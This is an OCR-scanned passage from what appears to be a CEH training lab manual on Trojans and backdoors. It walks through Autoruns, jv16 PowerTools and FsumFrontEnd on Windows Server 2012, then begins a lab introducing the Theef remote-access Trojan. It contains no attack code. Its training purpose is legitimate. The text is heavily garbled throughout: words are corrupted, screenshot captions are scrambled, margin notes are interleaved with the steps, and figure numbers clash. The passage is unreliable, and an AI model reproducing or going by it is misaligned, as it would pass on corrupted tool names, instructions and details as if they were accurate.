your browser by Selecting 0 EPSON_UD_S.. EPSON USB DisplayVl 40  SEIKO EPSON CORPORA.. c:\program files (x86)\epso...

Search Online in the Entry AT T : : :
menu.

Ready Windows Entries Hidden.
FIGURE 85: Automns Main Window

& Simply run Autoruns 1°- following is the detailed list on die Logon tab.
and it shows you die
currendy configured auto- o Autoruns [WIN-2N9STOSGIEN\Administrator] - Sysinternals: www.sysinter...L
start applications in the | File Entry Options User Help
locations tha_t most direcdy dis) ~ 1 X ~
execute appllcatlons.

Perform a new scan that H Codecs | P BootExecute | ~ ImageHjacks | [j) Applnit | KnownDLLs | ~ Winlogon
reflects changes to OpﬁOHS fc* Winsock Providers Print Monitors LSA Providers £ Network Providers | Sidebar Gadgets
by refreshing die dlsplay 13 Everything | Logon "~ Explorer 4$ Internet Explorer "1 Scheduled Tasks | Services ~  Drivers

Autorun Entry Description Publisher Image Path
- 0 [ij] HotKeysCmds hkcmd Module Intel Corporation c:\windom\system32\hkc...

(Ig Intﬁrnet EXpIorer TIhIS 0 lafxTrav igfxTray Module Intel Corporation c:\windows\system32\igfxtr
entl.'y shows Browser He per 0 lil Persistence persistence Module Intel Corporation c:\windows\system32\igfxp .
Objects (BHO's), Internet
Explorer toolbars and S E3 Adobe ARM  Adobe Reader and Acrobat. . Adobe Systems Incorporated  c:\program files (x86)\comm..
extensions 0o 0 Adobe Reader... Adobe Acrobat SpeedLaun...  Adobe Systems Incorporated  c:\proglam files (x86)\adob..

0 EPSON_UD_S. EPSON USB DisplayV1.40  SEIKO EPSON CORPORA... c:\program files (x86)\epso.
0 9 googletalk Google Tak Google c:\program files (x86)Vgoogl.
0 fH SurvlavaUpdat JavalTM) Update Scheduler  Sun Microsystems, Inc.c:\program files |x86)Vcomm

tS C:\ProgramDala\Microsoft\Windows\Start Menu\Progcams\Startup

Ready Windows Entries Hidden

FIGURE 89: Autonuis Logon list
11. The following are die Explorer list details.
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http://www.sysinter.J

& Services All Windows
services configured to start
automatically when the

system boots.

(33 Drivers This displays all

kernel-mode drivers

registered on the system

except those that are
disabled
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o Autoruns [WIN-2N9STOSGIEN\Administrator] = Sysinternals: www.sysinter...L

File Entry Options User Help

| Codecs | 3 BootExecute | 3 ImageHMacks | '® Applnit | ' KnownDLLs ] A Wnbgon
Winsock Providers | T* print Monitors | LSA Providers | Network Providers | Sidebar Gadgets
Z? Everything | ~ Logon[ ,j Explorer £ Internet Explorer | J  Scheduled Tasks | Services | Drivers
Autorun Entry Desciiption Publisher Image Path
HKLM\S 0 FTWARE\Classes\Protocois\F*er
0 ~text/xml Microsoft Office XML MIME... Microsoft Corporation c:\programfiles\cOfnmOn fi..
#iff HKLM\S oftware\ClassesWS heC xVContextMenuHandlers
0 ~ SnagltMainSh.. Snagit Shell Extension DLL TechSmith Corporation c:\program files (x86)\techs..
0 fo~ WInRAR WInRAR shel extension Alexander Roshal c:\programfiles\winrar\rare.
HKLM\S Oftware\WOw6432N ode\Classes\XS helE x\ContextM enuH andlers
0 SnagltMainSh . Snagit Shell Extension DLL TechSmith Corporation c:\program files (x86)\techs..
0 *V WiIinRAR32 WInRAR shel extension Alexander Roshal c:\programfiles\winrar\rare.
HKLM\S oftware\Classes\Directory\ShelE xSContextMenuH andlers
0 SnagltMainSh  Snagit Shell Extension DLL TechSmith Corporation c:\program files (x8S)\techs.
Ready Windows Entries Hidden.

FIGURE 8.10: Autonins Explorer list
12. The following are die Services list details.

o Autoruns [WIN-2N9STOSGIEN\Administrator] - Sysinternals: www.sysinter...L

File Entry Options User Help

N&&BX*

H Codecs | ~7I BootExecute ] 3 Image hijacks | [jl Applnit | KnownDLLs | ~ Wintogon

fc? Winsock Providers | & Print Monitors LSA Providers £ Network Providers 1 Sidebar Gadoets

O Everything | ~ Logon | Explow T i Internet Explorer Scheduled Tasks | Services Drivers
Autorun Entry Description Publisher Image Path

g  HKLM\System\CurrentControlSet\Services

0 [1' AdobeFlashPta This service keeps you Ad...Adobe Systems Incorporated c:\windows\syswow64\ma
0 [wl cowts Service to convert claims b .. Microsoft Corporation c:\program filesNwindows id..
0 0 EMPJIDSA EPSON USB Display VI 40 SEIKO EPSON CORPORA.. c:\program files (x86)\epso...
0 F | Moz2illaMainten.. The Mozia Maintenance S. . Mozila Foundation c:\program files (x86.\m02i ...
0 Oose Savesinstalationfilesused .. Microsoft Corporation c:\program files (x86)\comm
0 F | osoosvc Office Software Protection... Microsoft Corporation c:\program files\common fi
0 H WSusCertServer This service manages the c... Microsoft Corporation c:\program filesVupdate ser
Ready Windows Entries Hidden

FIGURE 8.11: Autoruns Services list

13. The following are die Drivers list details.
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£9 Scheduled
Tasks Task
scheduler tasks
configured to start
at boot or logon

TASK 4

Jv16 Power Tool
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o Autoruns [WIN-2N9STOSGIEN\Administrator] = Sysinternals: www.sysinter...L

File Entry Options User Help

3 Image Hhacks [ExecuteBoot! 3 |CodecsH [ $ Applnit | ,V KnownDLLs
ft Winsock Providers [ & Print Monroes | $ LSAProviders* | £ Network Providers | Sidebar Gadgets

(e} Everything | Logon | .< Explorer | ~ Internet Explorer | J  Scheduled Tasks | Services Dnwvers

Autorun Entry Description Publisher Image Path

HKLM\System\CurrentControlSet\Services

A 3ware |LSI 3ware SCSI Storpoct Driver}Sl c:\windows\system32\drrve.
S) adp94xx( Adaptec Windows SAS/SA... Adaptecjnc. c:\windows\system32\drive.
adpahci » Adaptec Windows SATA St.. Adaptec, Inc. c:\ windows\system32\drive.
adpu320 Adaptec StorPort Ultra320... Adaptecjnc. c:\window$\system32\dnve.

Jamdsata 4 AHD 1.2 Device Driver Advanced Micro Devices c:\ windows\system32\dnve.
amdsbs ~ AMD Technology AHCI Co... AMD Technologies Inc. c:\ windows\system32\drive.
amdxata ™ Storage Filter Driver AdvancedMicroD evices c:\window$\system32\drive.
Adaptec RAID Storpoct Driver PMC-Sierra, Inc. c:\ windowsSsystem32\drrve.

arcsas & Adaptec SAS RAIDWSO03... PMC-SierraJnc. c:\window$\system32\drrve.

Ready Windows Entries Hidden.

FIGURE 8.12: Autoruns Drivers list.

14. Tlie followingis die KnownDLLs list 11l Antonins.

o Autoruns [WIN-2N9STOSGIEN\Administrator] ~ Sysinternals: www.sysinter...L
File Entry Options User Help

dj) &B X *
17+ Winsock Providers | ~ Print Monitors | ~ LSAProviders | f Network Providers | 9+ Sidebar Gadgets
O Evershhig ~ Logon | Explorer ] & Internet Explorer ] J  Scheduled Tasks 1 Services [ Drivers
Q Codecs Q BootExecute | f"~ ImageHijacks | [j| Applnit \' KnownDLLs J Winlogon
Autorun Entry Description Publisher Image Path
ijT HKLM\System\CurrentControlSet\Controf\Session Manager\KnownDlIls
0 13 _wow64 File not found: C:\Wndows...
0 11 Wowb4cpu File not found: C:\Wndows.
0 m' Wow64win File not found: C:\Wndows...
Ready Windows Entries Hidden

FIGURE 8.13: Autoruas Known DLL’s list.

15. Install and launch jv16 PowerTools 111 Windows Server 2012 (host
machine).

16. jv16 Power Tool is located at D:\CEH-Tools\CEHv8 Module 06 Trojans
and Backdoors\Registry Monitoring Tools\jv16 Power Tools 2012.

17. To launch jv16 PowerTools, select die Start menu by hovering die mouse
cursor on die lower-left corner ot die desktop.
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03 Winlogon
Notifications Shows DLLs
that register for Winlogon
notification of logon events

C] Winsock Providers
Shows registered Winsock
protocols, including
Winsock service providers.
Malware often installs itself
as a Winsock service
provider because there are
few tools diat can remove
them. Autoruns can uninstall
them, but cannot disable
them

CEH Lab Manual Page 476

Module 06 - Trojans and Backdoors

"y

Unilb
Rnta

L FJLJL.

m3 Windows Server 2012

Wirdowt Server 2012 Rocate Cancxfatr Caucrnt.
fvaluator copy. Eud *40.

1

FIGURE 7.1: Windows Server 2012 Start-Desktop

18. Click jv16 PowerTools 2012 1il Start menu apps.

Start

Administrator A

FIGURE 7.2: Windows Server 2012 Start Menu Apps

19. Click the Clean and fix my computer icon.
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P jv16 PowerTools 2012
1Ee Language look Help

o K r Trad LrnMDon n Effect - 60 days left Live Support: Handbook not
Onine avadaWe
Home
Registry Tools
—r‘I File Tools Fully remove Speed up my
software and computer
leftovers

i System Tools

Privacy Tools
—— Backups Control which Immunize my Verify my downloads
programs start computer are safe toan
automabcaly

Acton Hstory

LLJ Settings
Trial Reminder

- 92>
Registry Health

9sVo

PC Health
jv16 PowerTools (2.1.0.1173) runnng on Datacenter Edition (x64) with 7.9 GBof RAM

[10:29:45 ~ Tip]: Your system has now been analyzed. The health score of your computer ts 95 out of 100 and the
health score of yoir Wndows regstry 6 92 out of 100. If you scored under 100 you can improve! the ratings by
usrtg the Oean and Fa My Computer tool.

FIGURE 8.20: jvI6 Home page.

20. Tlie Clean and fix my computer dialog box appears. Click the Settings tab
and then click die Start button.

jv1 6 PowerTools 2012 [W8-x64] - Clean and fix my computer *
Search
words

Settings Additional Additional Ignore words
safety options

Settings

A

Emphasize safety over both scan speed and the number of found errors.

Emphasize the number of found errors and speed over safety and accuracy.

Selected setting: Normal system scan policy: all Windows-related data is skipped for additional
safety. Only old temp files are listed.

Cancel
H
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(3SLSA Providers Shows
registers Local Security
Authority (LSA)
authentication, notification

and security packages Module 06 - Trojans and Backdoors

FIGURE 8.21: jvI6 Clean and fix my computer dialogue.
21. It will analyze your system for tiles; this will take a few minutes.

11 jv16 PowerTools 2012 [W8-x64] - Clean and fix my computer! - IDP X

File Select Tools Help

A Analyzing your computer. This can
take a few mmutes. Please wait...

0 Printer Monitor Abort

Drivers Displays DLLs that
load into the print spooling
service. Malware has used
this support to autostart

itself
FIGURE 8.22: jvI6 Cleanand fix my computer Analyzing.
22. Computer items will be listed after die complete analysis.
ivl6 PowerTools 2012 rW8-x641 - Clean and fix mv comDuter! = !'D r x

LJ You can save die results File Select Tools Help
of a scan with File->Save ftem
and load a saved scan widi Severity
File->Load. These Description
commands work with native Tags
Autoruns flle formats, bUt Item ! Sevent Descrpbon Tags
you can use File->Export to Y P 8 e
save a text-only version of 13 Registry Errors ;
the scan results. You can
also aytomate the generation 1"l & Invalid file or directory reference 7
of native Autoruns export
files with command line 11 ¢) Registry junk 266
options

n &) Obsolete software entry 4

I~1 Useless empty key 146

N ) Useless file extension 116

~ 4] Start menu and desktop items 23

| ~ 1 Delete dose

Selected: 0, highlighted: 0, total: 296
FIGURE 8.24: jvI6 Clean and fixmy computer Items details.

23. Selected item details are as follows.

LJ Sidebar Displays

Windows sidebar gadgets
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H Compare the current
Autoruns display with
previous results that you've
saved. Select File | Compare
and browse to die saved file.
Autoruns will display in
green any new items, which
correspond to entries that
are not present in the saved
file. Note that it does not
show deleted items

[ Ifyou are running
Autoruns without
administrative privileges on
Windows Vista and attempt
to change die state of a
global entry, you'll be denied
access. Autoruns will display
a dialog with a button that
enables you to re-launch
Autoruns with
administrative rights

L&S tcstitfiti Page 479

Empty Locations selection
in die Options menu is
checked Autoruns doesn't
show locations with no
entries

Module 06 - Trojans and Backdoors

jv16 PowerTools 2012 [W8-x64] - Clean and fix my computer

File Select Tools Help

Item
Seventy
Description
Tags
Item ! Seventy Descryton Tags
A
13 Registry Errors 7
13 n Invalid tile or directory reference 7
2> HKCRUnstall 3% FJe or directory X : -
1HKCRUnstal Fie or directory 'C:
A HKLM\softw< 13% Fie or directory X:
_] HKLM\sottw; B FJe or directory X:
O HKLM\SOFTV 13% File or directory X:
O HKLM\SOFT\I 13% Fie or directory X:
_ | HKLM\SOttwi FJe or directory X:
o 13 Registry junk 266 v

Selected: 0, highlighted: 0, total: 296
FIGURE 8.23: jvI6 Clean and fix my compute! Items.

24. The Registry junk section provides details for selected items.

1' jvl6 PowerTools 2012 [W8 x64]~ Clean and fix my computer! =~ D *
File Select Tools Help
Item
Severity
Description
Tags
Item / Severity Description Tags
_]1 3 Registry junk 266
3 n Obsolete software entry 4
O  HKCUVSoftw 30% Obsolete software e
0O HKCU”oftw 30% Obsolete software {
O HKUS\S-1-S- 30% Obsolete software T
0O HKUSV1-5- 30% Obsolete software e
0O (3 Useless empty key 146
O HKCRVaaot | 10% Useless empty key
O HKCRVaaot 20% Useless empty key
O HKCRVacrot 20% Useless empty key
N MKCRV.aaot 20% Useless emotv kev '

Selected: 0, highlighted: 0, total: 296
FIGURE 8.25: jvi6 Cleanand fix my computer ltem registry junk.

25. Select all check boxes 111 die item list and click Delete. A dialog box appears.
Click Yes.
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jv16 PowerTools 2012 [W8-x64] - Clean and fix my computer|
Flle Select Tools Help

Item
Seventy
Description
Tags
Item Seventy Descnption Tags
01J )
jv16 PowerTools 2012
You are about to delete alot of erroneous registry data. Using the Fix
O option is always the better option. Are you sure you know what you are
doing and wantto proceed?
0 *I Slail menu and desktop items 23/23

Selectedj29highlightedfttotah296
FIGURE 8.26: jvI6 Clean and fix my compute! Item check box.

26.Go to the Home tab, and click die Control which programs start
automatically icon.
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UJ The Verify Signatures
option appears in the

Options menu on systems
that support image signing

verification and can result in Module 06 - Trojans and Backdoors

Autoruns querying

certificate revocation list

(CRL) web sites to FIGURE 8.28: jvI6 Control which program start automatically.
determine if image

signatures are valid 27. Check programs in Startup manager, and then you can select die

appropriate action.

jv16 PowerTools 2012 [W8-x64] - Startup Manager TZS

File Select Tools Help

Enabled Process running Yes

System entry No PID 4280
C! The Hide Microsoft P.rogram Jusched.exe . Threads . 4

. . N Filename C:program Files (x86)VCommon 1  Base priority Normal
_Ent“es selectlon omits Command Ine 'C:\program FJes (x86)\Common Memory usage 9.12 MB
images that have been Loaded from M<EY_LOCALMACHINE\SOFTW<  Page file usage 2.23 MB
SignEd by MinOSOft if Descrption JavaCTM) Update SchecUer File size 246.92 KB
Verify Signatures is Tags
selected and omits images
Enabled ! Program Descrption Tags

that have Microsoft in their
I’(-ESOU-TCG'S (fomp_any name A |l 1Found software 10 —
field if Verify Signatures is

= Yes usched.exe -5 C:program Files
not selected ) v pro

Yes googletalk.exe  Google Talk C:program Files
Yes EMP_UO.exe EPSON USB Dispk C:\Program Files =
Yes Reader_sl.exe  Adobe Acrobat S| C:\program Files
AdobeARM.exe Adobe Reader arlC:program Files
Yes pfxtray.exe igfxTray Module C:\Windowsteyst
Yes hkcmd.exe hkemd Module C:\Windows"yst

0o o oo oaon
<
o
&

Yes gfxpers.exe persistence Modi. C:\Windowsfeyst

FIGURE 829 jvI6 Startup Manager Dialogue.
28. Click die Registry Tools menu to view registry icons.

fl jv16 PowerTools 2012
Fide Language Tools Help

IMACECRAFT . ;
' . >S50 ARE Trial Urntabon n Effect - 60 days left L'Veosnﬁggm: Hags;?\,benm

B3 Use the Hide Microsoft
Entries or Hide Windows $
Entries in the Options
menu to help you identify m 49 m
software that's been added Registry Tools Regstry Registry Registry Find Registry
to a system since installation. Manager Frder &Replace Cleaner
Autoruns prefixes the name
of an image's publisher with -
"(Not verified)" if it cannot System Tools
verify a digital signature for eaetry Registy Registy
the file that's trusted by the A PrivacyTools Compactor  Information Monitor
system

Backups

Acton Hstory

IU | Settings
1009 Trial Reminder
R Health
egitry Fea You are using the free trial version ofjvI6 PowerTools. Pick here to buy the
real version'
FIGURE 8.30: jvI6 Registry tools.
29. Click File Tools to view hie icons.
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EEL The Hide Windows
Entries omits images signed
by Windows if Verify
Signatures is selected. If
Verify Signatures is not
selected, Hide Windows
Entries omits images that
have Microsoft in their
resource's company name
field and the image resides
beneath the %SystemRoot%
directory

& Tools
demonstrated in
this lab are
available in
D:\CEH-
Tools\CEHvV8
Module 06 Trojans

§a<&d9fl» Page 482
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FIGURE 831: jvI6 File tools.

30. Click System Tools ro view system icons.

jv16 PowerTools 2012 X
Fte Language Tools Help
'l MACECRAFT Trial Untatoon In Effect - 60 days left Live Support: Handbook not
SOFTWARE Online avaiaWe
Home Q .
Registry Tools ~
Software Startup Start Menu Automation
Unnstaler Manager Tool Tool
limm!  System Tools
Service System
A Privacy Tools Manager Optimizer

Backups

Action History

IQ 1 Settings
100% Trial Reminder
Registry Health

You are using the free trial version ofjv16 PowerTools. Clio-
real version!

to buy the

FIGURE 8.32: jvI6 Systemtools.
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£QYou can
compare the
current Autoruns
display with
previous results
that you've saved.
Select
File|Compare and
browse to the
saved file.
Autoruns will
display in green
any new items,
which correspond
to entries that are
not present in the
saved file. Note
that it does not
show deleted
items
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31. Click Privacy tools to view privacy icon.

jv16 PowerTools 2012
| E*e¢ !,*"Quage 1001* Hdp

IMACECRAFT . .. I—
" SOFTWARE Trial Lfnitabon in Effect - 60 days left Live Support Handbook not

Online avarfable

A Registry Tools .
history Disk Wiper
Oeaner

1" Fie Tools

B System Tools

Backups
Actjon Hstory

JLIj Settings

3 Trial Reminder

You are usng the free trial version of jv 16 PowerTools. Ckk here to buy the
real version'

FIGURE 8.33: jvl6 Privacy tools.

32. Click Backups in die menu to display die Backup Tool dialog box.

jv16 PowerTools 2012 ™TeTxXT
File Language loots Help
O g/lOAF?\I/EVE I:EAFT Trial Umitabon in Effect - 60 days left Live Support: Handbook not
jv16 PowerTools 2012 [W8™x64] ~ Backup Tool |~ | X 1

£He Select look Help

Registry Fie Backups Othef
Backups Backups
Descnptjon Type Size ID Created

0 13 File Backups

O Cleanand Data removed 34.6 KB 00062D 21.09.2012,

R Sejected™iighlighted™otaM

FIGURE 8.34: jvl6 Backup took
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33. Go to Windows Server 2012 Virtual Machine.
= TASK 5

FsumErontEnd 34. Double-click FsumFrontEnd.exe, the executable tile located at D:\CEH-

Tools\CEHvV8 Module 06 Trojans and Backdoors\Files and Folder
Integrity Checker\Fsum Frontend.

35. The Fsum Frontend main window is shown 111 the following screenshot

& CEH-Tools are
also located
mapped Network
Drive (Z:) of Virtual
Machines

CEH Lab Manual Page 484

H !
Fsum Frontend vI 55.1 izr™ *
B-Q Fsum Frontend ESS
Tools O W n Methods (96)
B-Q Calculate hashe g Q adier1s Q adlers2 0 ap hash C bdkr
= N B} ) ;
Tod2s o cfesum_mpec2 Q crc8 florcls  n crelb_ccitt  HIcrel6_ibm 0 <16 125
Verify checksur 3emm: O CrCl_xr>dem O crcl6_zmodem O creM o credz 1Z cre32_brip2  d cre32jamcre
“Generate chec | clc32_mpcg2 1 icrc54 O cre64_ecma  (j djb hash d dhoz3s (7 edonkey
Options 05 1 n dF32 () fletchers Q fletcherl6 Q. fletcher32 anG2 L f n 1 /¢
About Compare
ISa.Ua Encoding: Bate 16 (hexadecimal)
C7Log

N - oIl
Websits htipi.ffsumfesourcefo

FIGURE 8.35; FsumFrontEnd main window.

36. Select the type ot hash that you want; let’s say md5. Check die md5 check

box.
Fsum Frontend v1.55.1
_ Fsum Frontend
§ (1 Tool*
T HC Claketsit e :
& (Jhaval224 (3)  u brval224(4) U haval22a (5)  Lhoval256(3) hava1256(4)  1_h»vjl256(5)
Tort O fweh Q jihikh 0 mdl Cl«nd4 ( mdx| O pananui
10 Verifychecksur  Dpjwr32 N ripamdi28 TlrlpemdIft0 O ripemd250 C ripemd320 C n hash =
! Generals ch*ce o sdbm 1 shaO D >hal O »ha2 (224) C >ha2 (256) C 3h«2 (384)
i 88 Options 11%12(512) N siced f 1sncfru2128(41 T lsnefm2 128(8L r snefru2256 W r snefru22s68> v
47 About
Mash:
Fie \m
N D [AN0] a| UKQ  Encoding: |Base 16 (hexadecimal) v O hwac
[<C

Webtitt http:./fsur>»etoj <crordene! |
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Q Have Autoruns
automatically
execute an
Internet search in
your browser by
selecting Search
Online in the Entry
menu

& Autoruns
displays the text
""(Not verified)"
next to the
company name of
an image that
either does not
have a sighature
or has a signature
that is not signed
by a certificate
root authority on
the list of root
authorities trusted
by the system
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FIGURE 8.36: FsumFrontEnd checking mad5.

37. Select a tile by clicking die File browse bottom from die desktop. That is
Test.txt.

Fsum Frontcnd v1.55.1

Fsum Frortend

Q Tools O Methods (1/96)
L2 Calculate-0 Wlin
izc5 He O haval224(J) O haval224 (4) O haval224(S)  Chaval256(3) | haval2s6(4) Q] hav32s0 (5)
- O Jhash O jshash o0 md? G md4 B mds O pMwr?
S3 Verify checksurm o pj*32 O ripemd128 G ripemdl&0  E" lipemd256 E"ripcmd320 1 ishash
Geaerare check [ (~1sha0 Qshal O sha2 (224) Q sha2 (256) O sha2(3&4)
gH Options n«ka2 Csi2l 117664 IH snefru2 128(4) | lsnefru2 128(8) | snefru2256 14) | snefru2 256 (1
12| Aboutm
Hash:
Fie |
=3B Encoding: [Base 16 [hexadecimal) vj O HMAC

Wlog

Website httpr./fiumfesoircerorge-ne:

FIGURE 8.37: FsumFrontEnd file browse.

B--EZ Fsum Ficntcnd

a-s Tools O Methods :96(
: b'Z”‘(;a'CF“_'“”““es n idler? Hladlerls O adler32 n aphash | belr
G Fie )
23 Tee D(bulr.mpcg2 [H«c8 O crel6 O acl6_ccitt n crels_ibm O acl5_x25

jQ VorifychKhi
AJ Generate che<

.
0© ' 11
Orgenirc ' Newfolder
m Desktop
J] Downleads A - comuer
Recent places. - Folder
Itoarits Network
3 Documents SK System Folder
J 1Mudr Motillj Firefox
Pictures Shorteut
3 Videos f e 1
Google Chiome
fIP Computer <r ;“‘I":;;'
i
Local D (C)
Test
1 Lecel Disk D) Text Document
a  Local Disk [8) 0bytex
Filename: Test JaliFilesr. T

3

Website. http:Vfsumfc.50u ccferge.'*ct
FIGURE 8.38: Fsum Front End file open.

38. Click Add Folder to select a folder to be added to die hash, for example,
D:\CEH-Tools
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Fsum frontend v1.55.1 —10 X
B--IS Fsum Frontend
i) 0 Tools| N Methodsa / 95:
i tld  Calculate hasht
(J haval224 (J)  [J heval224 (4)  Uhaval224(5) U haval2s8(3) L havat25&(4)  Che«val258(5)
!..}To,‘a H Q ¥ hikh O mds L E wexn L parurra
K Verifychecksur N pj*32 nripemdi28 MrlpemdIfto P ripemd256 O ripemd320 Cishash
Jjk Generate check ! 5 ,dbm O»ha0 o>hd1 O »ha2 (224) Csha2(256) (1 384) 2««1)
8ij Options 1 ska2 (512) n siced 11sncfru2123(4) | snefw2 128(8L V snefru2258 (41 T sneflu2 258 f&> v
About Cowpare
Hash:
Fie  ACEH-TOCIS\CEHV3 Module 06 Trojans and BackdoorsNFiles and Folder Integrity ChedteiVsumfrontend1.57 _ .
A0 Encoding: |Gase 16 (hcxadedmal) v| Qj HMAC
@ Autoiuns prefixes the File

name of an image's
publisher with "(Not
verified)" if it cannot verify a
digital signature for die file
that's trusted by the system

<

IteLodVv =

Webcite http:7flumfetoarcaforge.net 1

FIGURE 8.39: FsumFrontEnd Add Folder.

Fsum Frontend v1.5.5.1
Fsum ficntend
H-b2 Tools | kMhwfe (1/96'! 1
LBty Cakutehashes [Ghihd L ovem  Ligm WO umevag  Lioame | hwid
J I I%(_F _JhMI160(3)  Q_hBvail60(} O havall0(B) I hava!192(3) O heved192 (A O havaH92[S) Ch«r11224{3])
e

Hi Verify checks s O hav?C24(4)  Q tav*224(5) O hav8B56G) O hav8I256 (5) Qjhash Cjsh*.
o e Qma2 m sjmds O panama 0 O ripemd12s  C_ripemd160
=05 Options O ripdnd256  ClfipemdszQ O rshash [1sdbm O [ dial Gh2,
Hih Browse For Folder “H
File  DICBATODIACE CeleFnfioerd Bl
. dwese
* A Adniristator
A Computer

t fa Local Disk (OQ
dl
iL

| | Cwd 1
£3 A "Hide Signed iL. —
Microsoft Entries" option
helps you to zoom in on
third-party auto-starting
images that have been added
to your system

FIGURE 840: FsumFrontEnd Adding Folder.

39. Respective tiles of die selected folder will be listed 111 a list box.
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14m2 Ftum flastad
au Tooil
m tJ CakulatohMhtt
i
Td
(93 V>, checksum 14c.

Gawr¢tcr*Jaumfi
X Options
About
< i | >
Log

Trojans and Backdoors

Fsum Fromend v1.55.1 T 'u H

O Maihodb <L/ %6(
O h*aHe00> [ »waMe0@} [ havallG0@) [ Ih\allo2 )  C havllS2(4) 1 |h«aU92(5) | havaC24Q)
O KwLLA@) ¢ =wfiMIS)  “havI256<3) D Hwd2S5(9)  Chavl256<S)  r)lh»h ~pK«h
—tme? ( kv vjaid) panama 0 pM&2 | Inp*mdi28 ripr<nd160
Qry«nd2*  LnpemdiM  Qnhi* [julbm Q1b»0 L Qtlu2(2M|

225« 1 4»2(164> Fa2(s12)  f wri(w n mefru21284l | Ilnefru2 128(8)  »<rffu?29%wW
Hath:
File  DHCB4-Too(>CEH.3Module 06 Ticyans and and Folder Integrity C SS1Vftadmexa

my ja :3Fi '™ fi L) Encoding: Base16(hexadecimal) V] (~HMAC
Fie

A D:\CrM-lochvThunitM-db

(PO\CBt-TMIACB4 Lab Prere—
Om Dr.CB+TOC!S\CEH/8 Lab Prere-
®D:\aH-T0cISCEH-e lab Prerc-

0 10C(S\CEH/S Lab Prere_
£3 t\CFH-TocisxCEH/S lab Prere_
jij DACHA-Tocte\C{s<€Lab Prere_
S t D\CEHTocb\Cil 6 Lab Prere_
4J0.\CEH-ToobVCB+" Lab Prere_
AD'.CTH-TochSCEH<€ lab Prert—
|- J[>\CEH-TochvCIHV6 lab Prere_

FIGURE 841: FsumFiontEnd files list.

Wi \lle Mipy/itumfe 1C." rfectjr

40. Click Generate checksum files. The progress bar shows the progress
percentage complete for the hash tiles generated.

Fium Fiontend
a LZ Tools
H  1Cakuiatehashes

1 j 23 Ted

1 fep Verfy checksum 14es

1 £ Generate checksumf!
Options
About

Fsum Frortend v1.551

2 Mrihodk (1 96)

1h*al160G) [ te,*160:4} O havall0(5)  Hlhavall92)5 O hav*1192(4)
Il ¢ kvg2dds  [7haviim @) 0 h'wi2s6@)  IHhavl2so (O havdzs6(§
-wu I« r ]
_Inpem«£i6 1 npemdia] 1-*dbm
1422(256) | *»2GS4)  n *02)512( [ Isoc6> Sncfru2128f41
Hash |

Clhaval192 [5) 0 K*4122431

A nprmdifcO

[P2C224)
2nrfru2 256fi

1 [npemd128
U¥1

I Isnefu2 128(9)

*.5.5.IMtadme”E

File  DA\CEH-Tools'CEH.3f.Icdue 06 Trcjans ard and Folder Integrity Cl

> 13F| | Ey Encoding: Base 16 (hexadecimal) ~v] CHMAC

Fie

th\CBMocHvThum*>vdb
(SPD.CtM-Tooh\CtH" LabPrere-
Om D".CEHTOCIS\CEH/S Lab Prert_
O DACtH-TooH\CtHve Lab Prgrg-

B 0 “aH-100H\CIH4 LabPr<'f_
" 0:\CfH.Too»SCfHv« lab Prert_

D\CIH leeWVC(M/fl lab Prerc”
E0.\CIH-leo<i\CIH4 LabPv«~
#)DACB4 Toob\C&+"« LabPrtrt-
~D ".CfH Tooh\CfH*« lab Prerr-
|4] D\CtM- 10eh\CIHW6 lab Prm...

FIGURE 8.42: FsumFiontEnd Generate checksum files.
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Fsum Frontend *27%
Ir Ku'n fantend
a<d. Too - iMalhodbtwKt

W Cdaldriha twH600) | twalle(d) lhavaHBO(s) [ h*aMo2() O haveHI2 (4) hevalIM £5) hreB24 31

LNt 4224)+70) T W49 T ha2S<> T |9  OhvIS6O  ntheh "Jilh«h

; (93 Wi, Lhw.Uuntde,  ~}md/ r [ iniwnim —nprmdi28 liprmdIM

"-ejj 6«nwj:«th*ckiumli O s [_rpemdlc  _J<h'h 0 ino [t
1 eecli Option* $VP064) Pw2(S1?) 1 Wis WA212¢(41  linfir2 178 (8)  WHU22KM

1 :.j3 About
File  Cwa.V. &y. CiskiopyTistUX
Encoding: Ba.e 16<hewdicimil) v O hmac

File ‘nd5
D:\CEM-1oc:IvThuubvdb B16B0289.
1"D.CfcH-ToctsvCEH/* Lab PrtfS-  C482F590"
m D:\CB+Tocls\CB+<e LabPrere-  4CO29WF-
SHttOH-TO»8CEH*labPrerc_ JA0ES3IC"
53 D'CfcH-1octs\CEH/S Lib Preffc_ 007C8321-
3 DACEH-Toc*s\C&+/* LabPrere_ D22FF2CC...
ji,D:\CB4-Tock\CER.« LabPrrrr_ 3B85A%A...
D:CEH-Toc(s\CEHV6 Leb Prere— C783050E7AT7741C269A35127BA6FMAT |
£)DA<B4-Too& CB*« LabPrere- EBECEDSA..
< AI>\CFH-Toc CFH-eHbPrerc_ 08*2202-

j- Log

Re CrU»*S\Admincarjw<\O«ktop\ Testtat
mds: D41DeC DS»0CKGal3R090GICRW2rE

1 Exteuton: (Haam

Rc ftCEH-Too*? Thunb”. db
n<

1p, llurri'f IOUtffeXgF

FIGURE 843 FsumFrontEnd progress of hash files.

41. The following is die list of 111cb tiles after completion.

FIGURE 8.44: FsumFrontEnd list of hash files.

Lab Analysis

Analyze and document the results related to die lab exercise. Give vour opinion on
your target’s security posture and exposure dirough public and free information.
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PLEASE TALK TO YOUR INSTRUCTOR IF YOU HAVE QUESTIONS
RELATED TO THIS LAB.

Questions

1. Scenario: Alice wants to use TCPView to keep an eye 01l external
connections. However, sometimes there are large numbers of connections
with a Remote Address of "localliost:####". These entnes do not tell
Alice anything of interest, and the large quantity of entnes caused useful
entries to be pushed out of view.

2. Is there any way to filter out the "localliost:####" Remote Address
entries?

3. Evaluate what are the other details displayed by “autoruns” and analyze the
working of autonuis tool.

4. Evaluate the other options ofJvI6 Power Tool and analyze the result.

5. Evaluate and list die algonduns diat FsumFrontEnd supports.

Internet Connection Required
O Yes 0 No
Platform Supported

0 Classroom 0 iLabs
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Module 06 - Trojans and Backdoors

Creating a Server Using the Theef

Theef is a Windones-ased applicationfor both the client and server end. The Theef
serveris a vims thatyon install onyonr victim's computer, and the T hef clientin
nhatyou then use to control the vims.

Lab Scenario

A backdoor Trojan provides remote, usually surreptitious, access to affected
systems. A backdoor Trojan may be used to conduct distributed denial-of-
service (DDoS) attacks, 01"it may be used to install additional Trojans or other
forms of malicious software. For example, a backdoor Trojan may be used to
install a downloader 01" dropper Trojan, which may 11 turn install a proxy
Trojan used to relay spam or a keylogger Trojan, which monitors and sends
keystrokes to remote attackers. A backdoor Trojan may also open ports 011 the
affected system and thus potentially lead to further compromise by other
attackers.

You are a security administrator of your company, and your job responsibilities
include protecting the network from Trojans and backdoors, Trojan attacks,
stealing valuable data from the network, and identity theft.

